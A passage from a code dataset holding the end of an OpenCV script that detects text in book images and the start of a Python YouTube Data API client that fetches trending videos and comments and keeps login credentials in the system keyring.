cv2.COLOR_BGR2HSV)[:,:,2]\n # Calculate mean and STD\n # print(img)\n mean, STD = cv2.meanStdDev(img.astype(np.uint8))\n # Clip frame to lower and upper STD\n offset = 0.5\n clipped = np.clip(img, mean - offset * STD, mean + offset * STD).astype(np.uint8)\n\n # Normalize to range\n img = cv2.normalize(clipped, clipped, 0, 255, norm_type=cv2.NORM_MINMAX)\n # show_img(img, \"normalized\")\n sharp_copy, img = call_sharpen(img)\n # show_img(sharp_copy, \"sharpened\")\n else:\n sharp_copy, img = call_sharpen(img)\n # show_img(sharp_copy, \"sharpened\")\n\n # regardless of accepted preprocessing, we want to work in grayscale\n try:\n assert len(img.shape) == 2\n except AssertionError:\n print(\"exception\")\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n return scale_copy, segment_copy, sharp_copy, img\n\ndef add_padding(img):\n # We add a border region around the image s.t.,\n # the book does not clip the edges of the image, thereby ruining the segmentation\n # Presumably, the image is in RGB when this function is called\n #show_img(img, \"img\")\n if len(img.shape) < 3:\n new = np.zeros((img.shape[0] + 20, img.shape[1] + 20), dtype=np.uint8)\n new[10:new.shape[0] - 10, 10:new.shape[1] - 10] = img\n else:\n new = np.zeros((img.shape[0] + 20, img.shape[1] + 20, 3), dtype=np.uint8)\n new[10:new.shape[0] - 10, 10:new.shape[1] - 10] = img\n #show_img(new, \"new\")\n return img\n\ndef call_scale(img, direction, iters):\n scaled_img = pyramid(img, direction=direction, iterations=iters)\n img = add_padding(scaled_img)\n copy_img = deepcopy(img)\n return copy_img, img\n\ndef call_sharpen(img):\n sharpened = sharpen(img)\n img = sharpened.astype(np.uint8)\n copy_img = deepcopy(img)\n img = cv2.GaussianBlur(img, ksize=(9,9), sigmaX=9/6)\n return copy_img, img\n\n\n### Note that a non-learning segmentation method of the book is actually really hard to achieve\n# This is partly due to high levels of information and noise in the image\n# Likewise, Illumination and color levels varies between images\n# A major problem is that sometimes the crease separating pages separates the book halves completely\n\n# There is presumably not really any way to get around this,\n# outside of preparing a bunch of cropped images,\n# and running an object detection model NN on them\n\ndef find_contours(threshold_img, book_idx=0):\n # show_img(threshold_img, \"threshold in fc\")\n contours, hierarch = cv2.findContours(threshold_img, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n # print(contours)\n max_w = 0\n max_nwp = 0\n max_area = None\n k = -1\n for i, cont in enumerate(contours):\n x, y, w, h = cv2.boundingRect(cont)\n # print(x,y,w,h)\n new_img = np.zeros(threshold_img.shape, dtype='uint8')\n cont_img = new_img[y:y + h, x:x + w]\n cv2.drawContours(new_img, contours, i, (255, 255, 255), -1)\n nwp = len(np.where(new_img == 255)[0])\n ## Demand only contours above a certain size.\n # Depending on image size, may be changed.\n # Anyway, this function is designed to find the book contour, not the text cell contours\n if (w > 200 and w < 1400) and (h > 100):\n # print(nwp)\n # plt.imshow(cont_img, cmap='gray', interpolation = 'bicubic')\n # plt.xticks([]), plt.yticks([])\n # plt.show()\n cv2.imwrite(\"test_img\\manip_imgs\\book_\" + str(book_idx) + \"_cont_\" + str(i) + \".JPG\", new_img)\n if (w >= max_w) and nwp > max_nwp:\n max_area = cont_img\n max_w = w\n max_nwp = nwp\n ## remember the index of the book\n k = i\n cont_x, cont_y, cont_w, cont_h = x, y, w, h\n # print(np.where(cont_img == 255), \"pts =\", cont_pts)\n return max_area, cont_x, cont_y, cont_w, cont_h\n\n\ndef segmentation(thresh_img, img):\n gs = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # ret, thresh = cv2.threshold(gs, 0, 255, cv2.THRESH_OTSU)\n hsv_img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n lower_blue = np.array([0, 0, 100])\n higher_blue = np.array([60, 60, 255])\n\n lower_magenta = np.array([100, 0, 100])\n higher_magenta = np.array([255, 40, 255])\n\n b_mask = cv2.inRange(hsv_img, lower_blue, higher_blue)\n m_mask = cv2.inRange(hsv_img, lower_magenta, higher_magenta)\n\n final = (gs & b_mask) | (gs & m_mask)\n thresh = get_morph(\n get_morph(final, morph=\"close\", sz=(7, 7), kernel=\"ones\", threshold=True),\n morph=\"erode\", sz=(3, 3), kernel=\"ones\")\n # padded = add_padding(thresh)\n # show_img(padded, \"second padding\")\n img, book_x, book_y, book_w, book_h = segmentation(thresh.astype(np.uint8), img)\n segment_copy = deepcopy(img)\n\n book_cont, cont_x, cont_y, cont_w, cont_h = find_contours(thresh_img, 0)\n cropped_img = img[cont_y:cont_y + cont_h, cont_x:cont_x + cont_w]\n # show_img(book_cont, \"cropped_img\")\n\n if len(cropped_img.shape) > 2:\n cropped_img[book_cont[0:cont_h, 0:cont_w] == 0] = (0, 0, 0)\n else:\n cropped_img[book_cont[0:cont_h, 0:cont_w] == 0] = 0\n return cropped_img.astype(np.uint8), cont_x, cont_x, cont_w, cont_h\n\ndef get_kernel(size, kernel):\n if kernel == \"ones\":\n return cv2.getStructuringElement(cv2.MORPH_RECT, size)\n if kernel == \"gaussian\":\n if size[0] == size[1]:\n sigma = int(size[0] // 6)\n size = size[0]\n return cv2.getGaussianKernel(size, sigma)\n else:\n sigma = int((size[0] + size[1]) / 12)\n return cv2.getGaussianKernel(ksize=int((size[0]+size[1])//2), sigma=sigma)\n\ndef white_top(img, kern):\n return white_tophat(img, kern)\n\ndef blackhat(img, kern, iters):\n return cv2.morphologyEx(img, cv2.MORPH_BLACKHAT, kern, iterations=iters)\n\ndef gradient(img, kern, iters):\n return cv2.morphologyEx(img, cv2.MORPH_GRADIENT, kern, iterations=iters)\n\ndef tophat(img, kern, iters):\n return cv2.morphologyEx(img, cv2.MORPH_TOPHAT, kern, iterations=iters)\n\ndef opening(img, kern, iters):\n return cv2.morphologyEx(img, cv2.MORPH_OPEN, kern, iterations=iters)\n\ndef close(img, kern, iters):\n return cv2.morphologyEx(img, cv2.MORPH_CLOSE, kern, iterations=iters)\n\ndef dilation(img, kern, iters):\n return cv2.morphologyEx(img, cv2.MORPH_DILATE, kern, iterations=iters)\n\ndef erosion(img, kern, iters):\n return cv2.morphologyEx(img, cv2.MORPH_ERODE, kern, iterations=iters)\n\ndef get_morph(img, morph, sz, kernel=\"ones\", iterations=1, ttype=\"otsu\", threshold=False):\n kern = get_kernel(sz, kernel)\n switcher = {\n \"tophat\": tophat,\n \"blackhat\": blackhat,\n \"gradient\": gradient,\n \"white_tophat\": white_top,\n \"open\": opening,\n \"close\": close,\n \"dilate\": dilation,\n \"erode\": erosion\n }\n if threshold:\n get_func = lambda arg: switcher.get(arg, lambda: \"No such morph defined\")\n f_morph = get_func(morph)\n img = f_morph(img, kern, iterations)\n if len(img.shape) > 2:\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n if ttype==\"otsu\":\n ret, thresh = cv2.threshold(img, 0, 255, cv2.THRESH_OTSU)\n return thresh.astype(np.uint8)\n if ttype==\"triangle\":\n img = 255 - img\n ret, thresh = cv2.threshold(img, 0, 255, cv2.THRESH_TRIANGLE)\n return thresh.astype(np.uint8)\n if ttype==\"inverse\":\n ret, thresh = cv2.threshold(img, 0, 255, cv2.THRESH_BINARY_INV)\n return thresh.astype(np.uint8)\n if ttype==\"adaptive\":\n return cv2.adaptiveThreshold(img.astype(np.uint8),255,cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY_INV ,11,2).astype(np.uint8)\n else:\n get_func = lambda arg: switcher.get(arg, lambda: \"No such morph defined\")\n f_morph = get_func(morph)\n if morph == \"white_tophat\":\n morphed = f_morph(img, kern)\n else:\n morphed = f_morph(img, kern, iterations)\n return morphed.astype(np.uint8)\n\nfrom cv2 import ximgproc as xim\n\ndef remove_noise(img):\n return xim.edgePreservingFilter(img, d=15, threshold=20)\n\ndef correct_shading(img):\n return shaCorr(img)\n\n## A Python rewrite of shaCorr.m authored by Anders Hast\n# This code follows the license in the original implementation\n# Written by: Olle Dahlstedt 2021-03-04\n\n######### Copyright and permission notice: ##########\n## Copyright (c) 2011-2019 Anders Hast\n## Uppsala University\n## http://www.cb.uu.se/~aht\n##\n##\n## Permission is hereby granted, free of charge, to any person obtaining a copy\n## of this software and associated documentation files (the \"Software\"), to deal\n## in the Software without restriction, subject to the following conditions:\n##\n## The above copyright notice and this permission notice shall be included in\n## all copies or substantial portions of the Software.\n##\n## The Software is provided \"as is\", without warranty of any kind.\n\ndef shaCorr(inp_img, edge_preserving = False, f = 0.5, bright = 0.2, dark = 1.0, d = 6 , iter = 10, contrast = 8, corr = 0, pfact = 0, msize=100):\n if len(inp_img.shape) > 2:\n final = cv2.cvtColor(inp_img, cv2.COLOR_BGR2HSV)\n if edge_preserving:\n cols, rows, _channels = map(int, inp_img.shape)\n img = final\n placeholder = img[:,:,2]\n else:\n cols, rows, _channels = map(int, inp_img.shape)\n img = final[:,:,2]\n placeholder = img\n else:\n cols, rows = map(int, inp_img.shape)\n img = inp_img\n\n ## We should convolve the kernel with our chosen window size\n\n # Lowpass filter setup\n N, sigma, Sret = mask([cols, rows], msize)\n S = Sret\n krn = np.ones(S)\n div2 = cv2.GaussianBlur(krn, krn.shape, sigma)\n\n if f > 0:\n # Highpass filter setup\n N, sigma, _ = mask(np.ceil(N * f), 0)\n div1 = cv2.GaussianBlur(krn, krn.shape, sigma)\n\n k = 0\n while k < iter:\n if edge_preserving:\n ## Added by OD 2021-03-05\n\n # Division of subregions\n ## Resizing the image to roughly kern shape x 2\n ## Let subregion around each pixel be ceil(kern shape / 10)\n # I.e kern shape = 101, 143 -> subregion = ceil((202, 146) / 10) = (21, 15)\n # We would create our subwindow around each pixel thus from pixel at coord (21, 15)\n # Importantly, this means we will not blur the border of the image, which is fine in our material\n resized = resize(img, (krn.shape[1], krn.shape[0]))\n print(resized.shape)\n d = 30\n window_y, window_x = int(np.ceil(resized.shape[0] // d)), int(np.ceil(resized.shape[1] // d))\n # We cannot guarantee that either y or x region will be odd, so add if clause\n window_y += 1 if window_y % 2 == 0 else 0\n window_x += 1 if window_x % 2 == 0 else 0\n kern = np.ones((window_y*2, window_x*2, 3))\n\n ### Determine the number of subwindows ###\n # Since we will not blur the borders,\n # we will have one subregion around each pixel except the border pixels\n\n _, sigma, _ = mask(np.max([window_y,window_x]), 0)\n div = cv2.GaussianBlur(kern, (window_y, window_x), sigma)\n\n inits = {}\n # Using a nested dictionary for faster lookup\n # But it saves runtime, so that's nice\n\n # As we need a window around each pixel, this cannot be run outside two loops\n for y in range(window_y, resized.shape[0]-window_y):\n inits[y] = {}\n # print(\"y =\", y, \"window y =\", window_y, \"y - window_y = \", (y - window_y))\n for x in range(window_x, resized.shape[1]-window_x):\n inits[y][x] = {}\n # print(\"x =\", x, \"window x =\", window_x, \"x - window_x = \", (x - window_x))\n subwindow = resized[y-window_y:y+window_y, x-window_x:x+window_x]\n\n ### Blur each window ###\n # Note: in order to avoid too strong blurring (erasing all color information),\n # Blur with kernel size half of each window\n\n p = cv2.GaussianBlur(subwindow, (window_y, window_x), sigma) / div\n # Color mean within each (now blurred) window\n color_means = np.array([np.mean(p[:, :, 0]), np.mean(p[:, :, 1]), np.mean(p[:, :, 2])])\n inits[y][x][\"cmeans\"] = color_means\n\n\n # pixelwise distances (5)\n pd = np.array([np.linalg.norm(np.array([resized[y,x][0], color_means[0]]), ord=2),\n np.linalg.norm(np.array([resized[y,x][1], color_means[1]]), ord=2),\n np.linalg.norm(np.array([resized[y,x][2], color_means[2]]), ord=2)])\n\n inits[y][x][\"pixelwise_distance\"] = pd\n\n # Mean pixelwise distance (6)\n mpd = np.mean(pd)\n inits[y][x][\"mean_pixelwise_distamce\"] = mpd\n\n t = 20\n im = np.zeros(resized.shape)\n wts = np.ones(resized.shape)\n for y in range(window_y, resized.shape[0]-window_y):\n for x in range(window_x, resized.shape[1] - window_x):\n im[y,x] = im[y,x] + (resized[y,x] * ((t - inits[y][x][\"pixelwise_distance\"])**2) * inits[y][x][\"cmeans\"])\n wts[y,x] = wts[y,x] + (resized[y,x] * (t - inits[y][x][\"pixelwise_distance\"])**2)\n\n p = im / wts\n p = p[:,:,2]\n\n else:\n if f>0:\n imq = resize(img, (krn.shape[1], krn.shape[0]))\n # Compute the bandpass filter, highpass -> lowpass\n p1 = cv2.GaussianBlur(imq, krn.shape, sigma) / div1\n # print(p1)\n p2 = cv2.GaussianBlur(imq, krn.shape, sigma) / div2\n\n im2 = p2 - p1\n q = resize(im2, (img.shape[1], img.shape[0]))\n\n q[q < 0] *= bright\n q[q > 0] *= dark\n img = img + q\n\n\n N, sigma, _ = mask(np.ceil(np.max(S) / d), 0)\n div = cv2.GaussianBlur(krn, krn.shape, sigma)\n resized = resize(img, (krn.shape[1], krn.shape[0]))\n p = cv2.GaussianBlur(resized, krn.shape, sigma) / div\n\n if len(resized.shape) > 2:\n resized = resized[:,:,2]\n pm = np.mean(np.mean(p))\n s = np.abs(resized-p)\n ky, kx = s.shape[0]//2, s.shape[1]//2\n ky += 1 if ky % 2 == 0 else 0\n kx += 1 if kx % 2 == 0 else 0\n w = cv2.GaussianBlur(s, (int(ky), int(kx)), sigma)\n if corr > 0:\n wb = resize(w, (rows, cols))\n pb = resize(p, (rows, cols))\n placeholder = placeholder - pb\n\n mm = np.mean(np.mean(w))\n if corr > 1:\n wb[wb > mm] = mm\n\n if corr > 2:\n wb[wb < mm * pfact] = mm * pfact\n\n if corr > 0:\n wb = (wb - mm) * contrast + mm\n placeholder = mm * (placeholder / (wb))\n\n placeholder = placeholder + pm\n if edge_preserving:\n img[:,:,2] = placeholder\n else:\n img = placeholder\n if d > 1:\n d = d / 2\n\n k += 1\n\n if len(inp_img.shape) > 2:\n if edge_preserving:\n final = img\n print(final.shape)\n return cv2.cvtColor(final, cv2.COLOR_HSV2BGR)\n else:\n final[:,:,2] = img\n return cv2.cvtColor(final, cv2.COLOR_HSV2BGR)\n else:\n return img\n\n\ndef mask(So, sz):\n if sz != 0:\n scale = min(So) / sz\n S = np.ceil(np.divide(So, scale)).astype(np.uint8)\n N = np.ceil(max(S))\n S[0] += 1 if S[0] % 2 == 0 else 0\n S[1] += 1 if S[1] % 2 == 0 else 0\n N += 1 if N % 2 == 0 else 0\n\n else:\n N = So\n S = 0\n\n\n sigma = N / 6\n\n return N, sigma, S\n\n\ndef part_two(scale_copy, segment_copy, sharp_copy, img, normalize=True, clear_lines=True):\n ## Clean lines and preprocess image for text box detection\n\n try:\n assert scale_copy is not None\n assert segment_copy is not None\n assert sharp_copy is not None\n assert img is not None\n except:\n print(\"Part two will not work if we do not have copies of the images\")\n\n if uses_PST:\n img, PST_Kernel = PST(img)\n\n if clear_lines:\n try:\n assert len(segment_copy.shape) < 3\n except:\n print(\"Image is not in grayscale, converting it to grayscale\")\n segment_copy = cv2.cvtColor(correct_shading(segment_copy).astype(np.uint8), cv2.COLOR_BGR2GRAY)\n print(\"before line cleaning\")\n\n if uses_PST:\n # show_img(img, \"img\")\n # show_img(segment_copy, \"copy\")\n img = line_cleaning(img, segment_copy, use_Canny=False).astype(np.uint8)\n # show_img(img, \"lines cleared\")\n else:\n img = line_cleaning(img, segment_copy, use_Canny=True).astype(np.uint8)\n\n # markers(img)\n # markers(bez)\n show_img(img, \"lines cleared\")\n # print(\"lines cleared\")\n # print(img)\n\n # edge_two, kern = PST(img.astype(np.uint8))\n # show_img(edge_two, \"edges\")\n\n real, imag = gabor(img, frequency=0.5)\n fltred = np.sqrt(real ** 2 + imag ** 2).astype(np.uint8)\n show_img(real, \"gabor\")\n # blur = cv2.GaussianBlur(img, (21,21), 21/6)\n # show_img(blur, \"blur\")\n # show_img(blur, \"blurred\")\n # grad = get_morph(img, \"gradient\", (5, 5), kernel=\"gaussian\", ttype=\"otsu\", threshold=True)\n # _, = cv2.threshold(img, 0, 255, cv2.THRESH_OTSU)\n # show_img(grad, \"thresholded\")\n # box_img, boxes = get_text_boxes(grad, segment_copy)\n # show_img(box_img, boxes)\n # for box in boxes:\n # print(box)\n # show_img(grad, \"grad\")\n # print(\"Image has been converted to grayscale\")\n img_sift, img_mser = deepcopy(fltred), deepcopy(segment_copy)\n sift = cv2.SIFT_create()\n kp_sift = sift.detect(sharp_copy, None)\n # print(\"Keypoints detected\")\n img_sift = cv2.drawKeypoints(segment_copy, kp_sift, segment_copy,\n flags=cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS).astype(np.uint8)\n mser = cv2.MSER_create()\n kp_mser, boxes = mser.detectRegions(segment_copy)\n # img_mser = cv2.drawKeypoints(img_mser, kp_mser, img_mser, flags=cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS).astype(np.uint8)\n for box in boxes:\n x, y, w, h = box;\n cv2.rectangle(img_mser, (x, y), (x + w, y + h), (0, 255, 0), 1)\n\n # print(\"Keypoints drawn\")\n # show_img(img, \"keypoints image\")\n return img_mser, img_sift\n # get_max_peaks(grad)s)\n\n# img_row_sum = np.sum(img, axis=1).tolist()\n# plt.plot(img_row_sum)\n# plt.show()\n# img_column_sum = np.sum(img, axis=0).tolist()\n\n## Use this method to evaluate the algorithm on a single image\n# This is useful to make quick changes and try new things\n# Remember that changes that work for a single images do not necessarily work for all images\n# Prefereably, use a \"worst-case\" scenario image here\ndef single():\n ## EXAMPLE USAGE OF 1 IMAGE\n if os_selected == \"linux\":\n f_name = 'test_img/IMG_3.JPG'\n if os_selected == \"win\":\n f_name = 'test_img\\IMG_3.JPG'\n\n print(\"entered single\")\n # f_name = 'img_test.jpeg'\n # f_name = 'ideal_grid.jpg'\n # f_name = 'sharpened_img.jpg'\n\n f_obj = open_file(name=f_name, multiple=False, n_img=1)\n print(\"f_obj opened\")\n\n img = f_obj.img\n print(\"initializing part one\")\n scale_copy, segment_copy, sharp_copy, img = part_one(img)\n\n return img\n\n\n# Use this method to run the algorithm on multiple images\n# It is useful to write new copies of the altered images to evaluate the results post-processing\n# You can certainly do this using the \"show_img\"-method, but doing this repeatedly gets rather tiresome\n\ndef multi(n_img):\n if os_selected == \"linux\":\n f_name = 'image_folder/IMG_'\n if os_selected == \"win\":\n f_name = 'image_folder\\IMG_'\n\n # We can retrieve less images than we load to the array\n print(\"####\" * 10)\n print(\"Retrieving image generator. This may take a while, depending on image size and number of images\")\n print(\"####\" * 10)\n img_generator = open_file(name=f_name, multiple=True, n_img=n_img)\n arr = []\n print(\"Starting the script\")\n for i in range(n_img):\n print(\"Starting image:\", i + 1, \"/\", n_img)\n # The image generator is a yield function.\n # Calling it with the next keyword will iterate the function and return one image from the generator loop\n # Saves overhead memory costs (in comparison to keeping a long array of large images in memory)\n img = next(img_generator)\n\n ########### Important! ###########\n # When running the pipeline on many images (> 100),\n # it is advised that you wrap the calls within a try-except block\n # In some cases the pipeline fails in scenarios where fixes are possible but not implemented\n # This does not mean its results are affected much.\n # The try-except block will simply skip writing invalid images.\n # When running the pipeline on smaller sets of images for testing purposes,\n # avoid using the try-except block,\n # since it will obscure the true error messages and lead to painstaking debugging.\n ##################################\n\n # try:\n blurred = cv2.GaussianBlur(img, (3, 3), 3 / 6)\n print(\"Image has been scaled\")\n scale_copy, segment_copy, sharp_copy, img = part_one(blurred)\n img_mser, img_sift = part_two(scale_copy, segment_copy, sharp_copy, img)\n # show_img(img, \"title\")\n _ = cv2.imwrite(str('sift_keypoints' + str(i) + '.JPG'), img_sift)\n _ = cv2.imwrite(str('mser_keypoints' + str(i) + '.JPG'), img_mser)\n # print(img.shape)\n # if img.shape == (500,750,3):\n # print(\"Image to be added to array\")\n # arr.append(cv2.cvtColor(img, cv2.COLOR_BGR2HSV)[:,:,2].flatten())\n # else: pass\n # except:\n # print('Image {} does not exist'.format(i+1))\n # final = exec(img, scale=scale, noise=remove_noise, corr_shading=corr_shading, seg_book=seg_book, sharpen_img=sharpen, do_nothing=do_nothing)\n # show_img(final, \"Final image\")\n # write_img(\"final_image_\" + str(i) + \".jpg\", final)\n\nsingle()\n# multi(n_img = 20)","repo_name":"xqses/text-detection","sub_path":"aio_script.py","file_name":"aio_script.py","file_ext":"py","file_size_in_byte":29952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40520950236","text":"#!/usr/bin/python3\n# -*- coding: UTF-8 -*-\n\nimport io\nimport html\nimport keyring\nfrom googleapiclient.discovery import build\nfrom skl_shared.localize import _\nimport skl_shared.shared as sh\nimport skl_shared.password.controller as pw\n\nAPI_KEY = ''\n''' Default number of videos to be fetched: 5, max: 50.\n Default number of comments to be fetched: 20, max: 100.\n'''\nMAX_VIDEOS = 50\nMAX_COMMENTS = 100\n\n\nclass Credentials:\n \n def __init__(self):\n self.set_values()\n \n def set_values(self):\n self.ipass = None\n self.icon = ''\n self.login = ''\n self.password = ''\n \n def reset(self):\n self.login = ''\n self.password = ''\n \n def forget(self):\n self.reset()\n \n def read_password(self):\n f = '[Yatube] meta.Credentials.read_password'\n if not self.login:\n sh.com.rep_empty(f)\n return\n try:\n password = keyring.get_password('system',self.login)\n if password:\n self.password = password\n except keyring.errors.KeyringLocked:\n mes = _('Failed to get the password!')\n sh.objs.get_mes(f,mes).show_error()\n except Exception as e:\n mes = _('Third-party module has failed!\\n\\nDetails: {}')\n mes = mes.format(e)\n sh.objs.get_mes(f,mes).show_error()\n \n def get_ipass(self):\n if self.ipass is None:\n self.ipass = pw.Password(self.icon)\n return self.ipass\n \n def input_credentials(self):\n self.get_ipass().show()\n self.login = self.ipass.get_login()\n self.password = self.ipass.get_password()\n \n def install(self):\n f = '[Yatube] meta.Credentials.install'\n if not self.login or not self.password:\n sh.com.rep_empty(f)\n return\n try:\n keyring.set_password('system',self.login,self.password)\n except keyring.errors.KeyringLocked:\n mes = _('Failed to install credentials!')\n sh.objs.get_mes(f,mes).show_error()\n except Exception as e:\n mes = _('Third-party module has failed!\\n\\nDetails: {}')\n mes = mes.format(e)\n sh.objs.get_mes(f,mes).show_error()\n\n\n\nclass Trending:\n \n def __init__(self,country=''):\n self.set_values()\n if country:\n self.reset(country)\n \n def check(self):\n if self.country:\n return True\n else:\n self.Success = False\n sh.com.rep_empty(f)\n \n def fetch(self,token=''):\n f = '[Yatube] meta.Trending.fetch'\n if self.Success:\n try:\n self.resp = com.get_service().videos().list (chart = 'mostPopular'\n ,regionCode = self.country\n ,part = 'id,snippet'\n ,maxResults = MAX_VIDEOS\n ,pageToken = token\n ).execute()\n except Exception as e:\n com.show_error(f,e)\n objs.get_stat().add_quota(3)\n if self.resp:\n try:\n self.prev = self.resp['prevPageToken']\n except KeyError:\n self.prev = ''\n try:\n self.next = self.resp['nextPageToken']\n except KeyError:\n mes = _('The end of the channel has been reached!')\n sh.objs.get_mes(f,mes,True).show_info()\n self.next = ''\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n \n def fetch_next(self):\n f = '[Yatube] meta.Trending.fetch_next'\n if self.Success:\n if self.resp and self.next:\n self.fetch(token=self.next)\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n \n def fetch_prev(self):\n f = '[Yatube] meta.Trending.fetch_prev'\n if self.Success:\n if self.resp and self.prev:\n self.fetch(token=self.prev)\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n \n def run(self):\n self.fetch()\n self.set_videos()\n \n def set_videos(self):\n f = '[Yatube] meta.Trending.set_videos'\n if self.Success:\n for item in self.resp['items']:\n if item['kind'] == \"youtube#video\":\n try:\n video = Video()\n video.id_ = item['id']\n video.author = item['snippet']['channelTitle']\n video.chid = item['snippet']['channelId']\n video.ptime = sh.com.get_yt_date(item['snippet']['publishedAt'])\n video.title = item['snippet']['title']\n video.desc = item['snippet']['description']\n video.thumb = item['snippet']['thumbnails']['default']['url']\n objs.get_videos().add(video)\n except KeyError as e:\n mes = _('Missing key: \"{}\"!').format(e)\n sh.objs.get_mes(f,mes).show_warning()\n else:\n sh.com.cancel(f)\n \n def set_values(self):\n self.Success = True\n self.resp = {}\n self.country = ''\n self.next = ''\n self.prev = ''\n \n def reset(self,country):\n f = '[Yatube] meta.Trending.reset'\n self.set_values()\n self.country = country\n self.check()\n\n\n\nclass PlayId:\n \n def __init__(self,myid=''):\n self.set_values()\n if myid:\n self.reset(myid)\n \n def get_by_user(self):\n f = '[Yatube] meta.PlayId.by_user'\n if self.Success:\n try:\n resp = com.get_service().channels().list (forUsername = self.id_\n ,part = 'contentDetails'\n ,maxResults = 1\n ).execute()\n except Exception as e:\n com.show_error(f,e)\n objs.get_stat().add_quota(3)\n if resp:\n try:\n return resp['items'][0]['contentDetails']['relatedPlaylists']['uploads']\n except Exception:\n ''' KeyError or IndexError can occur. The output can\n be too ambiguous, so we just inform the user\n about the wrong input (should be the real cause\n of the error).\n '''\n mes = _('Wrong input data!')\n sh.objs.get_mes(f,mes).show_warning()\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n \n def get_by_channel_id(self):\n f = '[Yatube] meta.PlayId.get_by_channel_id'\n if self.Success:\n try:\n resp = com.get_service().channels().list (id = self.id_\n ,part = 'contentDetails'\n ,maxResults = 1\n ).execute()\n except Exception as e:\n com.show_error(f,e)\n objs.get_stat().add_quota(3)\n if resp:\n try:\n return resp['items'][0]['contentDetails']['relatedPlaylists']['uploads']\n except Exception:\n ''' KeyError or IndexError can occur. The output can\n be too ambiguous, so we just inform the user\n about the wrong input (should be the real cause\n of the error).\n '''\n mes = _('Wrong input data!')\n sh.objs.get_mes(f,mes).show_warning()\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n \n def check(self):\n f = '[Yatube] meta.PlayId.check'\n if self.id_:\n return True\n else:\n self.Success = False\n sh.com.rep_empty(f)\n \n def reset(self,myid):\n self.set_values()\n self.id_ = myid\n self.check()\n \n def set_values(self):\n self.Success = True\n self.id_ = ''\n\n\n\n# https://github.com/google/google-api-python-client/issues/325#issuecomment-274349841\nclass MemoryCache:\n _CACHE = {}\n \n def get(self, url):\n return MemoryCache._CACHE.get(url)\n\n def set(self, url, content):\n MemoryCache._CACHE[url] = content\n\n\n\nclass Comments:\n \n def __init__(self):\n ''' From documentation: \"Note that a commentThread resource does\n not necessarily contain all replies to a comment, and you\n need to use the comments.list method if you want to\n retrieve all replies for a particular comment\".\n Thus, it seems there is no quota-efficient way to fetch all\n comments, so we should not rely on the number of comments\n returned by 'VideoInfo' and therefore we should not use\n number indicators in GUI.\n '''\n self.reset()\n \n def get_comments(self):\n f = '[Yatube] meta.Comments.get_comments'\n if self.Success:\n if self.resp:\n try:\n message = ''\n istr = io.StringIO()\n for item in self.resp['items']:\n istr.write(item['snippet']['topLevelComment']['snippet']['authorDisplayName'])\n istr.write(': ')\n istr.write(item['snippet']['topLevelComment']['snippet']['textDisplay'])\n istr.write('\\n')\n try:\n ''' For some reason, replies are fetched\n backwards.\n '''\n subitems = list(item['replies']['comments'])\n subitems = subitems[::-1]\n for subitem in subitems:\n istr.write('>>> ')\n istr.write(subitem['snippet']['authorDisplayName'])\n istr.write(': ')\n istr.write(subitem['snippet']['textDisplay'])\n istr.write('\\n')\n istr.write('\\n')\n except KeyError as e:\n istr.write('\\n')\n message = istr.getvalue()\n istr.close()\n # This prevent from duplicating a page with no token\n if message not in self.texts:\n self.texts.append(message)\n return message\n except KeyError as e:\n mes = _('Missing key: \"{}\"!').format(e)\n sh.objs.get_mes(f,mes).show_warning()\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n \n def set_values(self):\n self.Success = True\n self.resp = {}\n self.texts = []\n self.next = ''\n self.i = 0\n \n def reset(self):\n self.set_values()\n ''' We do not perform checks here since 'Videos.current'\n will create empty fields if they are missing.\n '''\n \n def fetch_next(self):\n f = '[Yatube] meta.Comments.fetch_next'\n if self.Success:\n if self.resp:\n self.i += 1\n if len(self.texts) > self.i:\n result = self.texts[self.i]\n elif self.next:\n result = self.fetch(token=self.next)\n else:\n result = ''\n if self.i >= len(self.texts):\n self.i = len(self.texts) - 1\n return result\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n \n def fetch_prev(self):\n f = '[Yatube] meta.Comments.fetch_prev'\n if self.Success:\n ''' For some reason, there is no 'prevPageToken' in\n a comments output (even not documented), so we should\n allow an empty 'self.prev' to be able to navigate back\n to the first page.\n '''\n if self.resp:\n if self.i > 0:\n self.i -= 1\n return self.texts[self.i]\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n \n def fetch(self,token=''):\n f = '[Yatube] meta.Comments.fetch'\n if self.Success:\n try:\n self.resp = com.get_service().commentThreads().list(\n part = 'snippet,replies'\n ,maxResults = MAX_COMMENTS\n ,videoId = objs.get_videos().get_current().id_\n ,textFormat = 'plainText'\n ,pageToken = token\n ).execute()\n except Exception as e:\n self.Success = False\n com.show_error(f,e)\n ''' The comments quota is not set in the quota calculator.\n According to documentation:\n https://developers.google.com/youtube/v3/docs/commentThreads/list#properties%23properties\n Quota: method: 1; replies: 2; snippet: 2\n '''\n objs.get_stat().add_quota(5)\n if self.resp:\n try:\n self.next = self.resp['nextPageToken']\n except KeyError:\n self.next = ''\n mes = _('The end of the channel has been reached!')\n sh.objs.get_mes(f,mes,True).show_info()\n return self.get_comments()\n else:\n sh.com.cancel(f)\n\n\n\nclass VideoInfo:\n \n def __init__(self):\n ''' We do not perform checks here since 'Videos.current'\n will create empty fields if they are missing.\n #NOTE: suggestions, fileDetails and processingDetails parts\n are only available to the video's owner.\n '''\n pass\n \n def get_channel_id(self):\n f = '[Yatube] meta.VideoInfo.get_channel_id'\n video = objs.videos.get_current()\n if video.id_:\n resp = None\n try:\n resp = com.get_service().videos().list (id = video.id_\n ,part = 'id,snippet'\n ).execute()\n except Exception as e:\n com.show_error(f,e)\n objs.get_stat().add_quota(3)\n if resp:\n try:\n for item 